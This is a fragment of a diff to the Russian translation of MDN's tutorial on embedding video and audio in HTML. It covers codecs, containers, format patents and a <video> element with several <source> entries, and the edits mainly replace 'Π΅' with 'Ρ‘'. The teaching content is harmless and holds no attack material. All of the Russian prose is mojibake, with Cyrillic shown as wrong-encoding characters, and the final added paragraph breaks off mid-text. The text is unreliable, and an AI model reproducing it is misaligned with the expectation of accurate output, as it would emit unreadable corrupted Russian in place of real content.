<p>АудиоплССр ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ воспроизводит Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΡƒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ» MP3 ΠΈΠ»ΠΈ Ogg. Для этого Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹.</p>
<h4 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ»ΠΎΠ²_Π²_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…</h4>
-<p>Π’Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ для сТатия Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ Π² управляСмыС Ρ„Π°ΠΉΠ»Ρ‹ (Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ ΠΎΡ‡Π΅Π½ΡŒ большиС). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ содСрТат Ρ€Π°Π·Π½Ρ‹Π΅ {{Glossary("Codec","ΠΊΠΎΠ΄Π΅ΠΊΠΈ")}}, Π²Ρ€ΠΎΠ΄Π΅ Vorbis ΠΈΠ»ΠΈ H.264, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для прСобразования сТатого Π·Π²ΡƒΠΊΠ° ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π² Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅Β ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ свои прСимущСства ΠΈ нСдостатки, ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ свои собствСнныС ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ особСнности, Π²Π»ΠΈΡΡŽΡ‰ΠΈΠ΅ Π½Π° вашС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Как ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊ соТалСнию, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ, поэтому Π²Π°ΠΌ придСтся ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ² для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΌΠ΅Π΄ΠΈΠ°-ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°. Если Π²Π°ΠΌ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π΅ΠΊΠ° для дСкодирования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΠ½ просто Π½Π΅ смоТСт Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ.</p>
+<p>Π’Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ для сТатия Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ Π² управляСмыС Ρ„Π°ΠΉΠ»Ρ‹ (Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ ΠΎΡ‡Π΅Π½ΡŒ большиС). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ содСрТат Ρ€Π°Π·Π½Ρ‹Π΅ {{Glossary("Codec","ΠΊΠΎΠ΄Π΅ΠΊΠΈ")}}, Π²Ρ€ΠΎΠ΄Π΅ Vorbis ΠΈΠ»ΠΈ H.264, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для прСобразования сТатого Π·Π²ΡƒΠΊΠ° ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π² Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅Β ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ свои прСимущСства ΠΈ нСдостатки, ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ свои собствСнныС ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ особСнности, Π²Π»ΠΈΡΡŽΡ‰ΠΈΠ΅ Π½Π° вашС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Как ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊ соТалСнию, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ, поэтому Π²Π°ΠΌ придётся ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ² для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΌΠ΅Π΄ΠΈΠ°-ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°. Если Π²Π°ΠΌ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π΅ΠΊΠ° для дСкодирования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΠ½ просто Π½Π΅ смоТСт Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ интСрСсно, ΠΊΠ°ΠΊ слоТилась такая ситуация. MP3 (для Π°ΡƒΠ΄ΠΈΠΎ) ΠΈ MP4/H.264 (для Π²ΠΈΠ΄Π΅ΠΎ)Β ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ высокоС качСство. Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, ΠΎΠ½ΠΈ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Ρ‹ ΠΏΠ°Ρ‚Π΅Π½Ρ‚Π°ΠΌΠΈ β€” амСриканскиС ΠΏΠ°Ρ‚Π΅Π½Ρ‚Ρ‹ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚Β MP3Β ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Π΄ΠΎ 2017 Π³ΠΎΠ΄Π°Β ΠΈ H.264 самоС мСньшСС Π΄ΠΎ 2027 Π³ΠΎΠ΄Π°,Β  Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ дСрТатСлями этих ΠΏΠ°Ρ‚Π΅Π½Ρ‚ΠΎΠ², Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Π΅ суммы Π΄Π΅Π½Π΅Π³ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ этих Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ². ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ люди ΠΈΠ·Π±Π΅Π³Π°ΡŽΡ‚ нСсвободного ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния Π² ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ΅, прСдпочитая ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹. Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ нСсколько Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
@@ -93,9 +93,9 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<p>Из-Π·Π° слоТности обСспСчСния возмоТности просмотра ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² вашСго прилоТСния Π² любой ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ ΠΈ устройств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π²Ρ‹Π±ΠΎΡ€ Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ сочСтания ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ слоТной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="/en-US/docs/Web/Media/Formats/Containers#Choosing_the_right_container">Π²Ρ‹Π±ΠΎΡ€ подходящСго ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°</a> для получСния ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠΎ Π²Ρ‹Π±ΠΎΡ€Ρƒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Ρ„Π°ΠΉΠ»Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСго для Π²Π°ΡˆΠΈΡ… Π½ΡƒΠΆΠ΄; Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ смотритС <a href="/en-US/docs/Web/Media/Formats/Video_codecs#Π’Ρ‹Π±ΠΎΡ€_Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°">Π²Ρ‹Π±ΠΎΡ€ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°</a> ΠΈ <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Π²Ρ‹Π±ΠΎΡ€ Π°ΡƒΠ΄ΠΈΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°</a> для ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π² Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΏΠ΅Ρ€Π²Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ вашСй Ρ†Π΅Π»Π΅Π²ΠΎΠΉ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠΈ.</p>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° Π²Π΅Ρ‰ΡŒ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ: ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΈΡ… Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ эквивалСнтами, Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ всС Ρ‚Π΅ ΠΆΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ ΠΈ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Π°Ρ вСрсия. Π’Π΄ΠΎΠ±Π°Π²ΠΎΠΊ ΠΊΠΎ всСму, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Π΅, Ρ‚Π°ΠΊ ΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ спроСктированы Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ воспроизвСдСния ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° (Π»ΠΈΠ±ΠΎ для всСх ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, Π»ΠΈΠ±ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅). Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° частично зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС установил ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° Π²Π΅Ρ‰ΡŒ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ: ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΈΡ… Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ эквивалСнтами, Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ всС Ρ‚Π΅ ΠΆΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ ΠΈ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Π°Ρ вСрсия. Π’Π΄ΠΎΠ±Π°Π²ΠΎΠΊ ΠΊΠΎ всСму, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Π΅, Ρ‚Π°ΠΊ ΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ спроСктированы Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ воспроизвСдСния ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° (Π»ΠΈΠ±ΠΎ для всСх ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, Π»ΠΈΠ±ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅). Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° частично зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС установил ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ это сдСлаСм? ВзглянитС Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a> (ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅Β <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>):</p>
+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ это сдСлаСм? ВзглянитС Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a> (ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅Β <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>):</p>
<pre class="brush: html notranslate">&lt;video controls&gt;
&lt;source src="rabbit320.mp4" type="video/mp4"&gt;
@@ -103,12 +103,12 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
&lt;p&gt;Π’Π°Ρˆ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ HTML5 Π²ΠΈΠ΄Π΅ΠΎ. Π’ΠΎΡ‚ &lt;a href="rabbit320.mp4"&gt;ссылка Π½Π° Π²ΠΈΠ΄Π΅ΠΎ&lt;/a&gt; Π²Π·Π°ΠΌΠ΅Π½.&lt;/p&gt;
&lt;/video&gt;</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ изъяли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>Β  ΠΈΠ· нашСго Ρ‚Π΅Π³Π° <code>&lt;video&gt;</code>, ΠΈ вмСсто этого Π²ΠΊΠ»ΡŽΡ‡Π°Π»ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅Β  элСмСнты {{htmlelement("source")}}, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ссылаСтся Π½Π° собствСнный источник. Π’ этом случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пройдСтся ΠΏΠΎ элСмСнтам <code>&lt;source&gt;</code> ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ. Π’ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ источников WebM ΠΈ MP4 Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ достаточно для воспроизвСдСния вашСго Π²ΠΈΠ΄Π΅ΠΎ Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² наши Π΄Π½ΠΈ.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ изъяли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>Β  ΠΈΠ· нашСго Ρ‚Π΅Π³Π° <code>&lt;video&gt;</code>, ΠΈ вмСсто этого Π²ΠΊΠ»ΡŽΡ‡Π°Π»ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅Β  элСмСнты {{htmlelement("source")}}, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ссылаСтся Π½Π° собствСнный источник. Π’ этом случаС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пройдётся ΠΏΠΎ элСмСнтам <code>&lt;source&gt;</code> ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ. 